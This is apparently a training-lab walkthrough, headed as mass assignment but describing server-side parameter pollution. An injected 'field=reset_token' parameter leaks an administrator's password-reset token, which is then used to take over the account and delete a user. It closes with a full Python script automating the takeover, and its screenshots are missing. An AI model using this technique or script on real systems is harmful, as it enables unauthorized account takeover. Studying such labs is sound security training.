4. Exploiting a mass assignment vulnerability

Opening up the vulnerable website:

Now lets take a look at the website and crawl the information about this website:

There is no wiener:peter:

Lets go to forgot password:

But administrator:

So it sends the request correctly, lets move on to burpsuite and see the history to look for some interesting informations:

Here we have to forgot password:

And there is a file called forgotPassword.js, that has some information about how reseting token:

If we get the reset token we could use as mention in the file /forgot-password?reset_token=the token we found to reset the administrator password and login in.

Lets send the /forgot-password request to the repeater to test for server-side parameter pollution:

We got error and field not specified, maybe the application is vulnerable because it takes it as two variables not administrator# as one string, lets move on to confirm that.

Maybe the field in the error message is an internal parameter, lets try it out with an invalid value:

We do not know what potential values could be, lets use a wordlist to brute force it using intruder for example:

Specifying the place where we want to brute force it:

I found this wordlist that could help:

GitHub

And pasting it in burp intruder:

Start the attack:

We found some 200 status code:

Applying the filter to only show the 200 status code:

Lets test email and username:

We got the type is username above.

And also email:

Maybe the reset_token mentioned in the .js file is type as well, lets test it out to find if we can get the reset token to reset the administrator password:

And yes we did it:

And here is the server side parameter pollution where we injected a parameter called field and set a value to it, and it do it internally correctly file without errors or validations.

The request in the server side looks like this:

METHOD /something?username=administrator&field=reset_token

Lets try the token to change the password:

And as shown in the .js file we have to go to the /forgot-password?reset_token=token we found, to reset the password for the username administrator:

Here we go lets change the admin password:

It do it without errors, and redirects me to the home page:

Trying to login:

And yup we logged in:

Lets delete carlos user to solve the lab:

And we solved the lab:

Solve it using a python3 script:

import requests  
import re  
import os  
import sys  
import json  
  
proxies = {  
    "http": "http://127.0.0.1:8080",  
    "https": "http://127.0.0.1:8080"  
}  
  
session = requests.session()  
  
  
def Login(username, password):  
    print("[*] Get CSRF Token.")  
    csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + "login", proxies=proxies, verify=False).text)  
    print("[*] Logging In.")  
    data = f"csrf={csrf[0]}&username={username}&password={password}"  
    session.post(url=url + "login", data=data, allow_redirects=True, proxies=proxies, verify=False)  
  
  
def GetToken():  
    print("[*] Get Administrator Token.")  
    csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + "forgot-password", proxies=proxies, verify=False).text)  
    data1 = f"csrf={csrf[0]}&username=administrator"  
    session.post(url=url + "forgot-password", data=data1, proxies=proxies, verify=False)  
    data2 = f"csrf={csrf[0]}&username=administrator%26field=reset_token%23"  
    result = json.loads(session.post(url=url + "forgot-password", data=data2, proxies=proxies, verify=False).text)  
    token = result["result"]  
  
    def ChangePass():  
        print("[*] Change Administrator Password.")  
        csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + f"forgot-password?reset_token={token}", proxies=proxies, verify=False).text)  
        data = f"csrf={csrf[0]}&reset_token={token}&new-password-1=Caesar3&new-password-2=Caesar3"  
        session.post(url=url + f"forgot-password?reset_token={token}", data=data, allow_redirects=True, proxies=proxies, verify=False)  
  
    ChangePass()  
  
def DeleteCarlos():  
    print("[*] Login As Administrator.")  
    csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + "login", proxies=proxies, verify=False).text)  
    data = f"csrf={csrf[0]}&username=administrator&password=Caesar3"  
    session.post(url=url + "login", data=data, allow_redirects=True, proxies=proxies, verify=False)  
    print("[*] Delete The User Carlos.")  
    session.post(url=url + "admin/delete?username=carlos", allow_redirects=True, proxies=proxies, verify=False)  
  
  
if __name__ == "__main__":  
    if len(sys.argv) != 2:  
        script_name = os.path.basename(__file__)  
        print(f"[-] Usage: python {script_name} http://localhost/")  
        sys.exit(1)  
    url = sys.argv[1]  
    Login("wiener", "peter")  
    GetToken()  
    DeleteCarlos()  
    print("[+] Solved.")

Last updated